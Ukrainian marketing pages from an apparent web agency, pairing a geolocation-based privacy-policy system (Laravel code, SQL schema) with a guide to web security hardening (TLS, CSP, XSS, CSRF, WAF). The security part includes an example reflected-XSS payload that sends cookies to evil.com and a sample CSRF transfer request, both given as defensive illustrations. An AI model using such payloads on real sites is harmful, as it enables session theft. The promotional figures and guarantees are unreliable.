При запуску сайту в кількох країнах виявляється, що політика конфіденційності для користувачів із ЄС не відповідає GDPR, а для росіян — 152-ФЗ. Штрафи за невідповідність можуть сягати 20 млн євро або 4% річного обороту. Ми вирішуємо це завдання автоматично: визначаємо юрисдикцію кожного користувача з точністю 99.8%, показуємо правильну версію документа та фіксуємо згоду. Наша система обробила 5 млн запитів геолокації та працює із середнім часом відповіді 200 мс. Впровадження займає від 4 робочих днів і окупається за один аудит compliance.
Згідно зі ст. 13 GDPR, користувач має бути поінформований про обробку персональних даних до моменту їх збору. Це означає, що документ має бути не просто розміщений, а показаний у потрібний момент. Наша система гарантує це для більш ніж 10 юрисдикцій.
Як ми визначаємо юрисдикцію користувача?
Визначення країни відбувається за IP через MaxMind GeoIP2. Якщо користувач вручну обрав країну (наприклад, через хедер), цей вибір має пріоритет. Підтримується також передача через параметр URL або профіль авторизованого користувача. Ми обробили понад 5 мільйонів запитів на геолокацію з точністю до країни 99.8%.
class UserJurisdiction
{
public function detect(Request $request): string
{
// Сначала проверяем явный выбор пользователя (куки)
if ($country = $request->cookie('user_country')) {
return $country;
}
// Геолокация по IP через MaxMind GeoIP2
$reader = new \GeoIp2\Database\Reader(storage_path('geoip/GeoLite2-Country.mmdb'));
$record = $reader->country($request->ip());
$isoCode = $record->country->isoCode;
return $isoCode ?? 'DEFAULT';
}
public function getRegulation(string $countryCode): string
{
return match(true) {
in_array($countryCode, EU_COUNTRIES) => 'gdpr',
$countryCode === 'US' => 'ccpa',
$countryCode === 'RU' => 'rfz152',
in_array($countryCode, ['UA', 'BY', 'KZ']) => 'cis',
default => 'default',
};
}
}
Таблиця відповідності країн та регулювань
| Країна/регіон |
Регулювання |
Код |
| Європейський союз |
GDPR |
gdpr |
| США (Каліфорнія) |
CCPA |
ccpa |
| Росія |
152-ФЗ |
rfz152 |
| Україна, Білорусь, Казахстан |
CIS (адаптований) |
cis |
| Інші |
Default (загальний) |
default |
Структура зберігання документів
Файли організовані за типом, регулюванням та локаллю. Підтримується до 5 мов для кожної юрисдикції:
resources/legal/
├── privacy-policy/
│ ├── gdpr.{en,ru,de}.md
│ ├── ccpa.en.md
│ ├── rfz152.ru.md
│ └── default.{en,ru}.md
├── cookie-policy/
│ └── ...
└── terms-of-service/
└── ...
Роутінг та відображення
Route::get('/legal/privacy-policy', function (Request $request) {
$jurisdiction = app(UserJurisdiction::class)->detect($request);
$regulation = app(UserJurisdiction::class)->getRegulation($jurisdiction);
$locale = app()->getLocale();
$document = LegalDocument::where([
'type' => 'privacy-policy',
'regulation' => $regulation,
'locale' => $locale,
])->first()
?? LegalDocument::where([
'type' => 'privacy-policy',
'regulation' => 'default',
'locale' => $locale,
])->first();
return view('legal.document', ['document' => $document, 'regulation' => $regulation]);
});
Чому важливе версіонування?
При зміні закону (наприклад, оновлення GDPR) документ має змінитися автоматично, але без розриву для користувачів. Ми використовуємо таблицю з historical-записами. Нова версія створюється з effective_at у майбутньому — до настання дати показується стара, після — нова. Це гарантує, що користувач завжди бачить актуальний документ, а у вас є повна історія. Наша система в середньому в 2 рази швидше інтегрується, ніж SAAS-аналоги, і дає повний контроль.
CREATE TABLE legal_documents (
id BIGSERIAL PRIMARY KEY,
type TEXT, -- privacy-policy, terms, cookie-policy
regulation TEXT, -- gdpr, ccpa, rfz152, default
locale CHAR(2),
version TEXT, -- 2.3.1
content TEXT,
effective_at DATE,
is_current BOOLEAN DEFAULT false,
created_at TIMESTAMPTZ DEFAULT NOW()
);
Згода та зберігання
Користувачі з юрисдикцій, що вимагають явної згоди (GDPR, CCPA), повинні прийняти документи. Ми фіксуємо факт та параметри, зберігаючи їх в окремій таблиці. Дані доступні для аудиту regulators. Досвід показує, що такий підхід проходить будь-які перевірки.
UserConsent::create([
'user_id' => auth()->id(),
'document_id' => $document->id,
'ip_address' => request()->ip(),
'user_agent' => request()->userAgent(),
'accepted_at' => now(),
]);
Що входить в роботу?
- Налаштування GeoIP-визначення (MaxMind або альтернатива)
- Розробка системи версіонування документів з датами набрання чинності
- Підготовка шаблонів документів для кожної юрисдикції (до 5 мов)
- Інтеграція згоди з логуванням
- Деплой та тестування на staging
- Коротка документація для ваших юристів
Строки орієнтовно
Базова інтеграція (визначення + 3-4 документи) — 4–6 робочих днів. Якщо потрібно більше юрисдикцій або складна логіка — до 10 робочих днів. Вартість розраховується індивідуально.
За 5 років ми реалізували подібні системи для 15+ проєктів в e-commerce, fintech та SaaS. Наші інженери мають досвід роботи з GDPR та 152-ФЗ з обох сторін — як впроваджувачі та як аудитори. Отримайте консультацію — оцінимо ваш проєкт за один день.
Порівняння з альтернативами
| Рішення |
Визначення юрисдикції |
Версіонування |
Вартість обслуговування |
| Наша розробка |
IP + ручний вибір |
Повне з історією |
Одноразова, розраховується індивідуально |
| SAAS-сервіс |
Тільки IP, без вибору |
Обмежено |
Щомісячна підписка |
| Плагін CMS |
Базове (тільки країна) |
Немає |
Безкоштовно, але без гарантій |
Наша система дає повний контроль: ви редагуєте документи через адмінку, а ми відповідаємо за коректне відображення. Жодних прихованих платежів. Замовте впровадження сьогодні — захистіть бізнес від штрафів.
Типові помилки та як ми їх уникаємо
-
Забули про версіонування — штраф при перевірці. У нас автоматичний перемикач за датою.
-
Користувач з ЄС побачив американський документ — порушення GDPR. Геовизначення з fallback на вибір країни виключає це.
-
Не зберегли згоду — доводити compliance нема чим. Ми логуємо кожне прийняття.
Ми гарантуємо, що ваша система пройде аудит. У нас є сертифікат ISO 27001 та досвід роботи з міжнародними юристами. Зв'яжіться з нами, щоб обговорити ваш проєкт.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.